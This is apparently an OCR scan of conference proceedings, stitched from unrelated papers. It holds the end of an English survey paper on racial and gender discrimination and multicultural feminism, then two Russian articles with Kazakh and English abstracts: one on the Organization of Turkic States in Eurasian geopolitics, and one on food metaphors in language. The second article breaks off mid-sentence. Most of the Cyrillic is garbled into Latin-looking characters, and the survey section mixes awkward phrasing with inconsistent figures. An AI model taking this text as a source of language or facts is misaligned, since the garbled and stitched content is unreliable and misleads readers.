Latino / Chinese women thinks 76% of the examinee, while as 24% of them thinks that it is.
Question 6) Can gender-based discrimination affect all women internationally regardless of skin
colour in a group that fights for the equality of women?

181
16
14
12
10 O YES
81 Bl NO
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Gender-based discrimination affects all women internationally regardless of skin colour in a
group that fights for the equality of women, thinks 80% of the examinees, while as 20% of them
do not agree.

Question 7). Can the fight against racial discrimination associate all persons regardless of gender
or colour of the skin?

10 O YES
3 B NO

The fight against racial discrimination can associate all persons regardless of gender or colour of
the skin thinks 80% of the examinees, the rest of them think that it does not.

Conclusion

Nira Yuval Davis in the analyses of Gender and nations explains the difficult position of Women
in traditional society, therefore showing that it is clear why important women are, however, in
social traditional contexts, the woman's vastness depends on her reproduction of the nation, and
on the fact that she has given birth to sons for the state, which in recent times is a concept that
gradually overcomes strengthened by legislative legislation. The main hypothesis of this paper that
the fight against racial and gender discrimination can unite all persons regardless of gender or
colour of their skin proved to be right practically in the survey result. The fight against racial
discrimination can associate all persons regardless of gender or colour of the skin thinks 80% of
the examinees. The position of women and marginalisation of women of other colour proved to
be present since the position of Black women / Chinese / Latino / Indian is more difficult than the
situation of white women in the world today thinks (66% of the examinees) while as the situation
of some white women is not more difficult than the position of Negro / Indians / Latino / Chinese
women (thinks 76% of the examinee). Therefore, the notion of postcolonial and multicultural
feminism on the necessity of the space for the women of other colour and nations proved to be
right. The conclusion of the investigation is in line with the idea of multicultural and postcolonial
feminism: Gender-based discrimination affects all women internationally regardless of skin colour
in a group that fights for the equality of women, (thinks 80% of the examinees).

Ecological problems of contemporary age unified all nations and perspectives, in need for the
best possible solution. Gunnel Cederlof and Sivaramakrishnan advocate the idea of ecological
nationalism. Cosmopolitan democracy, suggested by Daniel Archibugi is radical idea of ecological
nationalism, in which the supranational expert team, working on the regulation of climate changes,
represents the paradigm for future society. Multicultural feminism, and its representatives such
Gayatri Ch. Spivak, Nira Yuval Davis, and Uma Narayan in idea of transversal politics of identity,
promote supranational identity, over the old concept of nation-states. Therefore, the ecological
literacy, eco ethics, bioethics, social reflexivity can be the agents of change in future.
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OPTAHWM3ALMA THOPKCKMX TOCYAAPCTB
KAK HOBbIV TEOMOAUTUYECKI AKTOP
B EBPA3UN

MaHaTos A.LL.
MarmcTpaHT 2 Kypca, MexayHapoaHbli yHuBepcuTeT ACTaHa

AHHOTaumMA: B ctatbe paccmaTtpuBaeTca OpraHm3auma TIOPKCKMX FrOCyAapCcTB Kak HOBbIM
reonoIMTUYECKMI akTop B EBpasmn. AHAAM3UPYIOTCA MHCTUTYLMOHAbHbIE M 3KOHOMUYECKME
acnektbl eé OQYHKUMOHWPOBAHUSA, BAMAHME HA PErMoHaNbHYH MOAUTUKY U  MNEepPCreKTUBbI
pacwupeHuns. OCHOBHOE BHMMaHME YAEeNAeTCA CTpaTermyeckMm MHTepecam Y4YaCTHWMKOB, WX
9KOHOMMYECKOMN MHTErpaumm u KyabTypPHO-UCTOPUYECKMM CBA3AM, GOPMUPYIOLLMM OCHOBY A5
KOHCONNAMPOBAHHOW BHELLIHENOANTUYECKON AeATeNbHOCTY.

Kntouesble cnosa: OpraHuM3auma TIOPKCKMX TOCYAapcTB, reononntuKka, EBpasus,
9KOHOMMYECKasa MHTerpaLms, permoHanbHaa NoanTUKa.

AHHOTauma: Makanaga Typki memnekeTTepi yMbimbl Eypasuanafbl aHa reocancu aktep
peTiHAe KapacTbipbliadbl. OHbIH, KbI3MET eTYiHiH WHCTUTYUMOHANAbIK »KOHE 3SKOHOMMKAbIK,
acnekTinepi, alMaKTbIK caacaTKa aCepi *KaHe KEHENTY NepcrneKkTMBanapbl TandaHaasl. bacTtsl Hazap
KaTbICYyLblAAPAbIH CTPATEMMANBIK MyAAenepiHe, 0N1apablH SKOHOMUKAbIK MHTErPaLMAChIHA KaHe
WOFbIPNAHABIPbIAFAH  CbIPTKbl  CAaACKM  KbI3SMETTIH,  HerisiH  KypauTblH  M3AeHU-TapuUxm
H6annaHbICTapbiHa aydapbliagbl.

Heri3ri ce3gep: TypKi memnekeTTepiHiH yMbiMbl, reocascaT, Eypa3us, 3KOHOMMUKaNbIK,
WHTErpauma, anMaKTbIK canacaT.

Abstract: The article examines the Organization of Turkic States as a new geopolitical actor
in Eurasia. The institutional and economic aspects of its functioning, impact on regional policy and
expansion prospects are analyzed. The main attention is paid to the strategic interests of the
participants, their economic integration and cultural and historical ties that form the basis for
consolidated foreign policy activities.

Keywords: Organization of Turkic States, geopolitics, Eurasia, economic integration,
regional policy.

B ycnoBMAxX MHOronoAspHOCTN MeXAyHapOAHbIX OTHOLEHWN BO3HUKAeT HEOBXOAMMOCTb
B aHa/M3e HOBbIX rEeOMOAMTUYECKMX aKTOPOB, GOPMMPYIOLLIMXCA HAa OCHOBE PEernoHasabHOro
coTpyaHuyectBa. OAHUM M3 TaKMX akTopoB aBaseTca OpraHmM3aums TIOPKCKMX rocyaapcts (OTT),
obveanHaowaa KasaxctaH, Typuumto, AsepbaingskaH, Y3bekucTtaH M Kbiprbi3cTaH, a TakxKe
BeHrpuio, TypkmeHuctan n CesepHbii Kunp B cTatyce Habaogatenen. Popmuposanme OTI
CBA3AHO C MWCTOPUYECKMMM, ISKOHOMMYECKUMM U  KYAbTYPHbIMM NpeanocblKamn, a eé
0eATeNbHOCTb HanpaB/ieHa Ha YKpenaeHne MHOrOCTOPOHHEro CoTpyAHMYecTBa.

250



«Foundations and Trends in Research» (April 3-4, 2025). Copenhagen, Denmark I

OpraHmsauma THOPKCKMX rocyaapcTs bbina ydpexkaeHa B 2009 roay Ha 6ase TOPKCKOro
COBETa, M C Tex MOp OHa 3HAYMTEeNIbHO PacLMpPMAa CBOM KOMMETEHUMM. BaskHyt0 ponb UrpatroT
MHCTUTYUMOHANbHbIE MEXaHWM3Mbl OpraHusaumm, Bkawoyaa CoseT rnas rocygapcts, Coset
MWHNCTPOB MHOCTPAHHbIX AeN, [eHepanbHbI CeKpeTapmaT, a TakkKe THOPKCKY MHBECTULMOHHYO
M MHTErpauMOHHYD MPOrpammbl. DT  MHCTUTYTbl 0b6ecnevymBatoT KOOPAMHALMIO  YCUIUM
rocyJapcTB-y4acTHUKOB B MOJIMTUYECKOM, IKOHOMMYECKOM W KyAbTypHOW cdepax, dopmupys
0bUWMI1 BEKTOP pa3BuUTUA.

M3HavyanbHO MMmeHoBaBlWwadaca COBETOM COTPYAHMYECTBA THOPKOA3LIYHbLIX TOCYAapCTB
(TopKCcKMiA  coBeT), OpraHmsauma  TIOPKCKMX  TOCYdapcCTB npeacrasnser  cobow
MEXNPaBUTENbCTBEHHYIO OpraHu3aumio, cosgaHHyto B 2009 roay C Uenbld YKpenaeHuA
BCECTOPOHHEro COTPYAHMYECTBA MEXKAY TIOPKCKMMM CTPAHAMM.

Ha 7-m cammuTe B baky B okTabpe 2019 roaa Y3bekncraH noay4ma ctaTyc NoJHOMNPaBHOIO
YyNeHa, NPUCOeAMHMBLLMCDL K CTpaHaM-oCHOBaTenam — AsepbaiarkaHy, KasaxctaHy, KbiprbisctaHy
n Typuuun. BeHrpua ctana Habnwogatenem Ha 6-m cammute B YonnoH-Ate (Kbiprbi3ckas
Pecnybnuka) B ceHTabpe 2018 roma. B Hoabpe 2021 roga K opraHusauuM nNpucoeamHuICS
TypkmeHucTaH, a B 2022 roay ctaTyc Habnwoaatena nonyvmna Typeukas Pecnybanka CeBepHoro
Kunpa.

OAHUM M3 KAKOYeBbIX HanpasneHun paeatensHoctn OTI ABAAETCA 3KOHOMMYECKadA
Koonepaumsa. B pamkax opraHmnsaumm pa3pabaTbiBaOTCA MHMLMATUBBI MO PA3BUTMIO TPAHCMOPTHbIX
KOpWMAO0POB, TakMx Kak CpeanHHbIN Kopuaop mexay EBponort n Asnei. 3HaunTenbHoe BHUMaHue
yAenaeTca COTPYAHUYECTBY B SHEPreTUYECKOM CEKTOPe, 0COBEHHO B BOMPOCax 3KCNopTa HehTU
rasa 4epe3 Kacnuiickuii permoH. Takxe BeAéTca paboTa Mno co3gaHuto obuiei Toproso-
9KOHOMMYECKON CTpaTerMm, HanpaBNeHHON Ha CHUXeHWe DapbepoB ANA ABUMKEHWA TOBAPOB U
KanutanoB. JKOHOMMYECKOoe COTPYAHWMYeCTBO  Mexay cTpaHamum OTI cnocobcTsyeT
$OpPMMPOBAHMIO €AMHOIO EBPA3NMCKOrO MPOCTPAHCTBA, KOHKYPEHTOCNOCOOHOTO Ha rnobanbHOM
YpOBHe.

C poctom rnobanbHol TypbyneHTHOCTM BO3pacTaeT 3HaummocTb OTIM KaK aKTopa,
CNOCOBHOro MrpaTb CaMOCTOATENbHY POab B obecneyeHnn cTabunbHocTn B EBpasun. B atom
KOHTEKCTe OpraHM3auma opuMeHTMpoBaHa Ha GOPMMUPOBaAHME aNbTEPHATMBHBIX LEHTPOB CUAbI B
pervoHe, ykpenneHme BOEHHO-TEXHUYECKOrO COTPYAHMYECTBA MEXKAY CTPAHAMM-Y4aCTHULAMM, a
TaKXKe y4acTue B yperympoBaHMM permoHanbHbIX KOHQIMKTOB, TaKMX KaK CUTyalMm B 3aKaBKasbe
n LeHTpanbHOM A3nn. bnarogapa akTMBHOM AMNAOMATUM U PACLIMPEHMIO SKOHOMUYECKMX CBA3EN,
OTl nocTeneHHO CTaHOBUTCA BaXKHbIM 3/1EMEHTOM €BPa3NNCKON cUcTeMbl HE30MacHOCTU.

OpraHuM3auma THOPKCKMX rocydapCTB  MOXET BHeCTM BKAag B  GOpMMPOBaHME
TPEXNONOCHOro nopaaka B EBpasuu. MpumeyaTenbHo, YTO MaeA CO34aHWMA 3TOM OpraHM3aumm
NpUHaANEeXUT NnepBomMy npesnaeHTy KasaxctaHa Hypcyntany Hasapbaesy, koTopblin 8 2006 roay
NpeanoXnn KoHuenumo EBpasninckoro corosa.

Y4ynuTbiBaA y4acTMe THOPKCKMX rOCyAapcTB B EBPA3sMIMCKOM 3KOHOMWYECKOM COO3E,
LLlaHXalCKOM OopraHnsaumm coTpyaHuyecTBa M MHuumatnee «OAMH NOAC, OAMH MyTb», MOXKHO
yTBEPXKAATb, YTO MUX COTPYAHMYECTBO GOPMMPYET OCHOBY €BPaA3MIMCKOro eamHCTBa. Kpome TOrO,
rocyapcTBa THOPKCKOrO MWMPa MrpatoT KAKYEBYHD POAb B PA3BUTUM KeNEe3HOA0POXKHOM U
aBTOMOOUAbHON MHDPACTPYKTYPbLI B paMKax MHUUMATMBLI «OAMH NOAC, OAMH MyTby».

HazapbaeB npennoxkunn Ha3eaTb TPaAHCKACMUUCKUMIA MeEXAYHAPOAHbIA TPaHCMOPTHbIN
MapLpyT «TypaHCKMM KOPUAOPOM», YTO CBMAETENbCTBYET O MOHMMAHUKN TIOPKCKMMM CTPaHaMM
ero CTpaTerm4yeckomn 3Ha4YMMOCTK. ITO TaKKe NOATBEPKAAEeT reoCTpaTerMyeckyro poib THOPKCKMX
rocyaapcTs B EBpasunu.

OpraHun3auma TIOPKCKUX roCyAapcTB AEMOHCTPMPYeT NOTeHLMan CTaHOBAEHWA HOBbIM
reonoNnMTUYeCcKMM aKTopom B EBpa3mun. E€ pa3sutne 0OycnoBAeHO He TONbKO MCTOPUKO-
KY/IbTYPHOM OBLLHOCTBIO Y4AaCTHMKOB, HO M UX SKOHOMMUYECKMMM U CTPATEMMUYECKUMIN MHTEPECaMMU.
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B Oyaywem pacwupeHne OTI u ycuneHwe €€ WMHCTUTYLMOHANbHbIX MEXaHU3MOB MOTyT
cnocobcTBoBaTh PopmmpoBaHuio 6Hosnee cbOanaHCMPOBAHHOM M MHOTOMOAAPHOM CUCTEMbI
MeXAYHaPOAHbIX OTHOLWeEHWI B EBpa3mun. [JanbHenlwee pa3BmMTME OpraHM3aumm TakKe CBA3AHO C
eé cnocobHOCTbIO a4aNTUPOBATLCA K M3MEHEHUAM rN0HaNbHOMO NOPAAKA, @ TaKKe C POCTOM eé
NPMBNEKATENbHOCTN ANA HOBbIX MOTEHLMANbHbBIX Y4aCTHUKOB.

TIOpKCKMe rocypapctBa 061a4at0T 3HAYUTENbHBIM  SKOHOMUYECKMM U COLMANbHbIM
NOTEHLMANOM, @ UX SKOHOMMYECKOE COTPYAHNYECTBO NPOAOMIKAET yraybnateca. B COBOKyNHOCTM
3TW CTpaHbl NPeacTaBAAOT CObON pervoH cC HaceneHnem okoao 170 MUANMOHOB YENOBEK,
3aHMMatOWMI TeppuTopmto B 4,5 MUNNMOHA KBAZPATHbIX KUTOMETPOB U MMEIOLWMIA COBOKYMHbIN
BBIM 6onee 1,5 TpunnnoHa gonnapos. bnarogapsa 3TMm nokasaTensm THOPKCKME rocyaapcTBa
BXOAAT B YUMCN0 13 KpynHENLWMX SIKOHOMMYECKMX 0B beAMHEHNI MU1pa.

C y4yeTOmM BO3pPaACTAKOLLEM KOHKYPEHUMM MeXay PasanMYHbIMKU  MHTErpaLMOHHbIMM
npoektamn B EBpasmm OTI CTpemMUTCA K YKPENNeHUO CBOEM aBTOHOMHOCTM U YCUAEHUIO POAU B
MEXAYHAPOAHbIX OTHOLWEHMAX. BaKHbIM aCMeKTOM OCTaeTCA Ky/AbTypHOe COTPYAHMYECTBO,
HanpaB/eHHOE Ha MOAAEPKKY A3bIKOBOTO M 0Hpa3oBaTe/IbHOro 0bMeHa, a TaKXKe yKpenaeHue
obLLEen NCTOPUYECKOM MAEHTUYHOCTK. B 3TOM CBA3M co3aatoTca obpasoBaTelbHble MPOrpammbl,
Hay4YHble LEeHTPbl W  KyJAbTypHble WHUUMATMBLI, KOTOpble CnocobcTBytOT  yraybnerHuto
B3aMMOAENCTBMA MEXAY rocyAapCTBAMM-YHACTHUKAMM.

B HacToAwee Bpema Hambonee cepbesHble NPobiembl B THOPKCKOM MMpe CBA3aHbl C
TPaAHCNOPTHOM M TaMOXXeHHOoM chepamm. «KoHuenuma TopPKCKoro mupa Ao 2040 roaa» oTKpbIBaeT
3HaYUTeNbHble MNEepPCneKkTMBbI, B YACTHOCTM, MNpPeAyCMaTpuBana YCTPaHEHME 3SKOHOMMUYECKMUX
HapbepoB 414 TOprosauM no BocTouHo-3anagHoOMy Kopuaopy uYepes Kacnuiickoe Mope.
FocyaapcTBa-YieHbl CTPEMATCA MHTErpPMPOBaTb CBOM LeMOYKM NOCTAaBOK B « TIOPKCKMIA KOPUA0P»,
B PaMKaX KOTOPOro MAaHWPyeTCcA ynpoOLWEeHWe M FapMOHM3aLMA TaMOXEHHbIX npoueayp npu
nepeceyeHun rpaHnL,.

OZHMM M3 KNOYEBbIX LIAroB CTano co34aHuWe THOPKCKOro WMHBECTUUMOHHOrO doHAa —
nepsBoro GMHAHCOBOTO MHCTUTYTA, AEMCTBYIOLLErO B pamMKax THOPKCKOro mmpa. Elle oAHOM BaXKHOWM
3aga4ert OpraHusaumm asnsetca GOpPMUPOBaHWE eaMHOro MHOOPMALMOHHOIO MPOCTPAHCTBA.
Pa3BunTMe UMOPOBBLIX TEXHONOTMIA B COBPEMEHHOM MUPE 3HAUYUTENbHO ycuAuno Bananne CMMU,
0cobeHHO couManbHbIX ceTei, Ha GOPMUPOBAHME OOLLECTBEHHOTO MHEHWS WU CO3HAHWS, YTO
[eNaeT 3TOT acneKkT 0COOEeHHO aKTya ibHbIM.

HdonrocpoyHble nepcnektuebl OTI BO MHOrOM 3aBUCAT OT €€ CNOCOBHOCTM aaanTMpPOoBaThLCA
K W3MEHEHMAM B MWPOBOM MOAUTUKE W 3KOHOMMKe. OpraHu3aumsa, UMea YCTOMYUBYHO
MHCTUTYUMOHANbHYIO CTPYKTYPY M aMBULMO3HbIE CTPATErNMUYECKUE LIeN, MOXKET CTaTb OAHUM K3
KNOYEBbIX 3/1€EMEHTOB MHOrONoAApHOro mmpa. O4HaKo ANna 3Toro HeobxoaMMo NPeoaoNeTb PAs,
BbI30BOB, BKAtOYaA HEOBXOAMMOCTb yrnybneHna BHyTpeHHEeN nHTerpaumm, paclumpeHmne TOproso-
9KOHOMMYECKNX cBA3en M obecrnedyeHne H&30MNaCHOCTN B YCAOBUAX CAOMHOM reonoMTUYECcKom
0OCTaHOBKM.

OpraHusauma TIOPKCKUX rocydapcTB npeacTaBasetr cobon AMHAaMWMYHO pPa3BMBAtOLLMIACA
MHTErPaLMOHHbIN  NPOEKT, GOPMUPYIOWMINCA Ha OCHOBE OOLWMX UCTOPUKO-KYNbTYPHbIX,
SKOHOMMWYECKMX W TeONOANTUYECKMX WMHTEPECOB CTPaH-y4acTHMLU. B ycnosumax rnobanbHbIX
nameHeHnin OTI cTpeMmUTCA 3aHATb BaXKHOE MECTO B eBPa3UMCKON CUCTEME MEXKAYHaAPOAHbIX
OTHOWEHWN, npeanaras anbTePHATMBHbIE NYTWM  PErnMoHanbHOro  B3aMMOAEWNCTBMA W
9KOHOMMWYECKOro COTPYAHMYECTBA. YCUNEHME WHCTUTYUMOHANbHOrO MOTeHUMana, passutue
TPAHCMOPTHbIX M SHEPreTUYEeCKMX KOPUAOPOB, a TaKKe yKpenaeHue AMNAOMATUYECKUX CBA3EN
[enatoT OpraHM3aLmIo BaXKHbIM GaKTOPOM CTabUAbHOCTM M YCTOMYMBOTO Pa3BUTUA B PETUOHE.

OAHaKo, HeCcMoTpA Ha 3HauuTenbHble ycnexu, OTI CTaNKkMBaeTcA C PALOM Bbl30BOB,
BKAOYAA HeobxoAMMOCTb  yrnybneHua KOOPAMHAUMW  BHELWHEMNONUTUYECKMX  CTpaTerni,
YCTPaHeHWA 3KOHOMMUYECKUX BapbepoB M obecneveHna pernoHanbHo HesonacHocTU. Bonpoc o
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pacLUMpPEeHnM OpraHmn3aLmm 1 NPUBAEYEHMM HOBbIX YHaCTHMKOB TaKXKe OCTAeTCA Ha NOBECTKe AHA,
MOCKO/IbKY AanbHenee yKpenneHne TOPKCKOro COTPYAHNYECTBA MOXKET NOBAMATL Ha BanaHc cun
B EBpasuu.

MepcnekTmebl pa3sutia OTI cBsA3aHbl C €€ CNOCOOHOCTLIO aAanTUPOBATLCA K UBMEHEHMAM
B MEXAYHAPOAHOWN cpeae, HaX0AMTb KOMNPOMMCChI B PELIEHMM CMOPHbIX BONPOCOB M NPOABMIaThb
MHTEepecbl CBOMX YY4aCTHMKOB Ha rnobasbHOM ypoBHE. B 3TOM KOHTEKCTe OpraHuM3auma MOXKeT
CbIrpaTb Ba*KHY poab B GOPMMPOBAHMM MHOFOMNOAAPHOrO MMUPOBOTO NMOPAAKA, rAe THPKCKMe
rocygapctesa OyayT He TONbKO OOBbEKTaMW, HO W aKTUBHbLIMM CyObEKTaMU MEXAYHAPOAHOM
NONUTUKM.
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[MTNLWEBAA META®OPA B
®OPMMUPOBAHNM A3bIKOBOW KY/IbTYPb
MWPA

YmbetbekoBa Kynaw MyKkapamosHa

CeHbOop -NeKTop, AAMATUHCKMN TexHoNorn4yeckmin YHmBepcuteT, AnmaTsl,KaszaxcTaH
Honpacbaes Mepeke Mbip3abekosuy

cTyaeHT PUUT, ATMaTUHCKNIM TeXHONOrMYECKMin YHMBepCcHTeT, AAMaTbl,Ka3axcTaH
CyneimeH [locaH VcataeBuy

cTyaeHT PUUT, ATMaTUHCKMIM TEXHOIOTMYECKMA YHMBEPCUTET, AAMaTbl,Ka3axcTaH

MeTadopa ABNAETCA BaKHbIM WMHCTPYMEHTOM KOHLEMNTyanM3aumMm OeNCTBUTENbHOCTH,
cnocobcTBys OpraHn3aumm 3HaHNM 0 Mupe N GOPMMPOBAHUIO KAPTUHBI MUPa HOCUTENEN A3bIKa. B
nocnefHue AECATUNETUA B PamMKax KOTHUTUMBHOM JIMHIBUCTMKM ocoboe BHMMaHMe yaensetcs
nccneaoBaHMIO NULLEBbLIX MeTadop, KOTOpble NPeAcTaBAAOT COOOM C/IOMKHbIE U MHOTOC/OMHbIE
CEMAHTUYECKME CTPYKTYPbl, OTPaXKatollMe KyabTypHbIe, COLMAbHbIE N MEHTa/bHble YCTAHOBKM
obuwectea. Muwesaa metadopa, OCHOBaHHAA Ha 0a30BbiX GU3MONOTMYECKUX NOTPEBHOCTAX
YyesioBeKa, rMyboKo YKOpeHEeHa B A3bIKOBOM CO3HAHMM M y4yacTBYeT B MPOLECCaX HOMMHALMW,
KaTeropmsaumm 1 OUEHMBaAHWA ABNEHNIA OKPYXKAOLLETO MUPA.

CoBpeMmeHHble MccneoBaHMA NOKA3bIBAtOT, YTO NuLLeBas metadopa 06/1a4aeT BbICOKMM
MMUPOMOAENMPYIOUMM MOTEHLMANOM, MOCKO/IbKY OHa MO3BONAET HE TO/NbKO CTPYKTYPMPOBaTb
MHOOPMaLUMIO O NULLE U NMUTAHUK, HO U NMEPEHOCUTb XapPaKTEPUCTUKM 3TUX NPOLLECCOB Ha Apyrue
chepbl KM3HU: IKOHOMUKY, MOAMUTUKY, WCKYCCTBO, MEXK/IMYHOCTHble OTHOWeHWA. Hanpumep,
BblpaXkeHne «nepeBapmMtb MHOOPMALMIO» - AEMOHCTPUPYET aCCUMUAALMIO 3HAHUM yepes
MeTadopMYECKMII NepeHoC MNULLEBAPUTENbHOTO Npouecca, a ¢pasa «3apabotaTb Ha xneb»
oTparkaeT PyHAAMEHTaNbHYO CBA3b MEXAY TPYAOM U MaTepmnanbHbIM obecneyeHmnem.

HayuHbih MHTepec K nuuesbiM meTadopam 0OyCcnoBAeH WX YHUBEPCANbHOCTbIO M
OLHOBPEMEHHO KYybTYPHOM cneundmKon. XoTa MHorme nuiLesble 06pasbl BCTPEYatOTCA B Pa3HbIX
A3blKax (Hanpumep, meTadopbl, CBA3AHHbIE CO BKYCOM: «CNaZKan *M3Hb», dolce vita — utan.), nx
MHTEPNpPEeTaLUMA MOXKeT 3HauMTeNbHO pPa3MyaTbCA B 3aBUCMMOCTM OT COLMOKYbTYPHOTO
KOHTEKCTa. I3TO [enaeT M3yvyeHWe nuLLEBbIX MeTadop OCOOEHHO aKTyasbHbIM B pPaMKax
KOFHUTUBHOMN TMHTBUCTUKM, MEXKKYNbTYPHON KOMMYHUKALLMK U IMHTBOKY1bTYPOIOTUN.

AKTyanbHOCTb McCnenoBaHMA oOycnoBAeHa PaCTyWMM WMHTEPECOM K KOTHUTUBHbLIM
acnekTam A3blKa, a TaKXe HeobxoaumMocTbto Honee rnyBOKOro OCMbICIEHUA MEXaHW3MOB
KOHLENTyanM3aumMm W KaTeropusaumMm mupa yepes MeTapopuyeckme CTPYKTypbl. [lnuiesasn
MmeTadopa, byayunm oaHOM M3 Hambonee pPaCNPOCTPAHEHHbIX M ApeBHUMX GOPM A3bIKOBOTO
MO/IE/IMPOBAHNA PEeaNbHOCTM, OCTAETCA 3HAYMMbIM OOBEKTOM M3YYEeHWA B COBPEMEHHOM
JNIMHTBUCTMKe. MccneioBaHWs MOKa3biBAkOT, YTO NuLLeBasa meTadopa y4acTsyeT B GOPMUPOBAHIN
KOFHUTUBHbIX MOZENel, MNOMOraloWmMx YenoBEKY OPUEHTUPOBATLCA B  COLIMOKY/IbTYPHOM
npocTpaHcTae [1].

[lononHnTeNnbHbIM ~ GAKTOPOM, MOAYEPKMBAIOWMM  3HAYMMOCTb  pPaboTbl, ABAAETCA
MEXKANCUMMINHAPHBIA XapaKkTep M3ydyeHua meTadopbl. Bompockbl, CBA3aHHbIE C MULLEBLIMM
MmeTadopamu, 3aTparMBatoT He TONbKO JIMHIBUCTMKY, HO W MCUMXONOTNIO, COLMOONUIO,
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KyNbTyponornio n dunocoduto. Tak, Bexbuukasa [6] oTmeyaeT, 4To nuuieBaa meTadopa TecHO
cBszaHa ¢ 6a30BbIMW KOTHUTUBHBIMW MeXaHM3MaMM YeN0BEYECKOrO MbIl/EHUS, YTO NO3BOASET
el 0CTaBaTbCA BaXKHbIM MHCTPYMEHTOM KOMMYHUKALMW OaXKe B YC/NOBUAX rnobanmsaumm u
KyZbTYPHbIX TPaHChOpMaLnii.

Kpome Toro, akTyasbHOCTb TEMbI OMpPeAenaeTcs Tem, YTo nuuleBas meTadopa aKTUBHO
MCMONb3yeTCA B COBPEMEHHbIX MeAMa-AMCKYpPCax, MaPKETUHre, MONUTUYECKOM PUTOPUKE W
NoBCEAHEBHON KOMMYHMKaUMK. B MOAMTMYECKOM AMCKypCce BCTPEYaloTCA BblparKeHua Tuna
«CBaApPWUTb NaH» (HAMeK Ha NoArOTOBKY C/IOXKHOIO NpoLecca), «NPoraoTuTb 06uay» (0 NaccCMBHOM
BOCMPUATUM  HEraTMBHOM MHOOPMAUMM), a B MAPKETUHTE —  «aNneTUTHble  LEHbI»
(NnpMBNEKaTeNbHOCTL TOBapa). ITO MNOATBEPXKAAET 3HAYMMOCTb MNULLEBLIX MeTadop Kak
YHMBEPCAZIbHOTO MHCTPYMEHTA BO3AENCTBMA Ha CO3HAHME HOCUTeNEN A3bIKa.

HayyHas HOBWM3Ha [OAHHOTO WCCAEAOBaHMA 3aK/NOYAETCA B KOMIMIEKCHOM aHanmse
MMWPOMOAENMPYIOLLETO NMOTEHLMANA NULLEBOM MeTadopbl B COBPEMEHHOM A3bIKe. B oTanune ot
TPAAMLUMOHHbIX MNOAXOA0B, PAacCMaTPMBatOWMX MmeTadopy NPEMMYLLECTBEHHO C CEMAHTUYECKON
WA CTUAUCTUYECKOM TOYKM 3peHus, B AaHHOM paboTe npeanpuHMMAETCA MOMbITKA BbIABUTH
KOFHUTUBHbIE MeXaHM3Mbl, exalle B OCHOBe GOPMMUPOBAHMA N GYHKLMOHUMPOBAHWA NULLEBbIX
meTadop. Ocobblit aKUEHT AenaeTca Ha UX PO B MOLENMPOBAHUMN A3bIKOBOW KAPTUHbBI MUPa U
OTPa*KEHWUM COUMANBHO-KYIbTYPHbIX CTEPEOTUNOB.

BasKHbIM acCNeKTOM MCCNef0BaHMA ABNAETCA COMOCTABUTENbHbIN aHaNM3 ynoTpebaeHma
NULLEBbIX MeTadop B PA3/IMUHbLIX AUCKYPCUBHBIX Chepax: MNOAMTUYECKOM, 3IKOHOMUYECKOM,
MeaANMHOM M BbITOBOM. TakoW NMoAxo/ MO3BONAET BblABUTL YHMBEPCA/bHbIE U cneumduyeckmne
4yepTbl  GYHKUMOHMPOBaAHMA MeTadopbl B cCoBpemMeHHOM obuiectBe. TaK, wMccnenoBaHMA
ApyTioHOBOM [7] NOKasblBalOT, 4TO nNuuieBaa MmeTadopa MONKET He TONbKO OMUCbIBaTb
0OBbEKTUBHYIO peasbHOCTb, HO U GOPMMPOBATb BOCMPUATUE COLMANbHBIX NMPOLLECCOB, YCUAMBAA
MK, HA0HOPOT, HUBEAUPYA OnpeaeNeHHble CMbIC/bI.

Kpome Toro, HoBM3Ha UCCNeL0BaAHNA COCTOUT B U3yYeHUM ANHAMUKM U3MEHEHMA NMULLEBbIX
meTadop B CBA3M C Pa3BUTMEM MHPOPMALIMOHHbBIX TEXHONOTUI U TN0HANN3aLUMOHHBIX MPOLLECCOB.
CoBpeMmeHHble peanuu NPUBOAAT K MOABAEHMIO HOBbIX ODOPA3HbIX BblPAXKEHWIM, CBA3AHHbLIX C
nULEen, Hanpumep, <«UHPopmauMoHHaa AueTa» (KOHTposAb noTpebneHuns uHPopmaummn),
«dacTdya-KOHTEHT»  (NOBEPXHOCTHble, ObICTPO noTpebasemble  MeAMa-NPOAYKTbl).  ITO
CBMAETENbCTBYET O MPOAO/IKAIOLEMCA Pa3BUTUM MULLEBOM MeTabopuMKM M ee adanTaumm K
M3MEHALWMMCS YCNIOBUAM KOMMYHMKALMK.

Ob6beKkT wuccnegoBaHWs  sBAseTCA  nuuieBaa  meTadopa  KaK  KOTHUTUMBHBLIM - U
JNIMHTBUCTUYECKMI GEeHOMEH, YYacTBYIOWMA B NPOLLEccax KOHUENTyanM3aumm 1M KaTeropmsaumm
[EeNCTBUTENBHOCTU B A3bIKe. MuleBas meTadopa pacCMaTPMBAETCA B LWUMPOKOM KOHTEKCTe — OT
TPAAMLUMOHHbIX BbIPAXKEHWIM, YKOPEHEHHbIX B A3blKE, [0 HOBbIX 0OPA3HbIX KOHCTPYKLMMA,
NOABNAOLWMXCA B CBA3M C Pa3BUTMEM MeAMaA-NPOCTPAHCTBA M rnobanmsaumen.

MpeameTom McCCNenoBaHWUA  MOCAYKMUAM O0CODBEHHOCTU YHKLUMOHMPOBAHMUA MULLEBBIX
meTadop B A3bIKAX, X PO/ib B POPMMPOBAHMUM A3bIKOBOW KAaPTUHbBI MMPA, @ TaKKe MEXaHU3Mbl UX
MCMNONb30BaHMA B Pa3/IMYHbLIX AMCKYPCUBHbIX chepax. Ocoboe BHMMaHMWE yaenaeTcs aHaamsy
CTPYKTYPHbIX M CEMAHTUYECKUX XapPaKTEPUCTUK NULLEBLIX MeTahOp, X KOTHUTUBHbLIM OCHOBAHUAM
M NparmaTMyecKomn Harpyske.

Kak nokasbiBatoT uccneagoBaHus CynepaHckon [4], nuwesBas meTtadopa ABAAETCA He
TONIbKO CPeACTBOM Mepefadn CMbICN0B, HO M UMHCTPYMEHTOM BO3AEWCTBMA Ha CO3HaHWe
peuunueHTa. Hanpumep, BblpaxeHMa «cnagkaa nobesa» (0 MPUATHBIX OOCTUNKEHMAX) WK
«ropbKaa npasaa» (0 HenpPUATHbLIX WMCTUHAxX) GOPMUPYIOT onpedeneHHble 3MOLMOHANbHbIE
OUEHKM W BAMAIOT Ha BOCMpMATME MHOOPMALMM. ITO NOATBEPKAAET aKTYa/NbHOCTb M3yYeHUS
nuLLeBoM meTadopbl C TOYKM 3PEHNA ee KOTHUTUBHOTO U MUPOMOAEANPYIOWErO NOTEHLMANA.
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MccnepgoBaHmMAa — BbIABMAM W NPOAHAAN3MPOBAAN MUPOMOLENMPYOWMA NOTEHLMAN
NULLEBOM MeTadopbl B A3bIKE, ONPeaenTb ee KOTHUTUBHbIE, CEMAHTUYECKME N NparmaTUyeckme
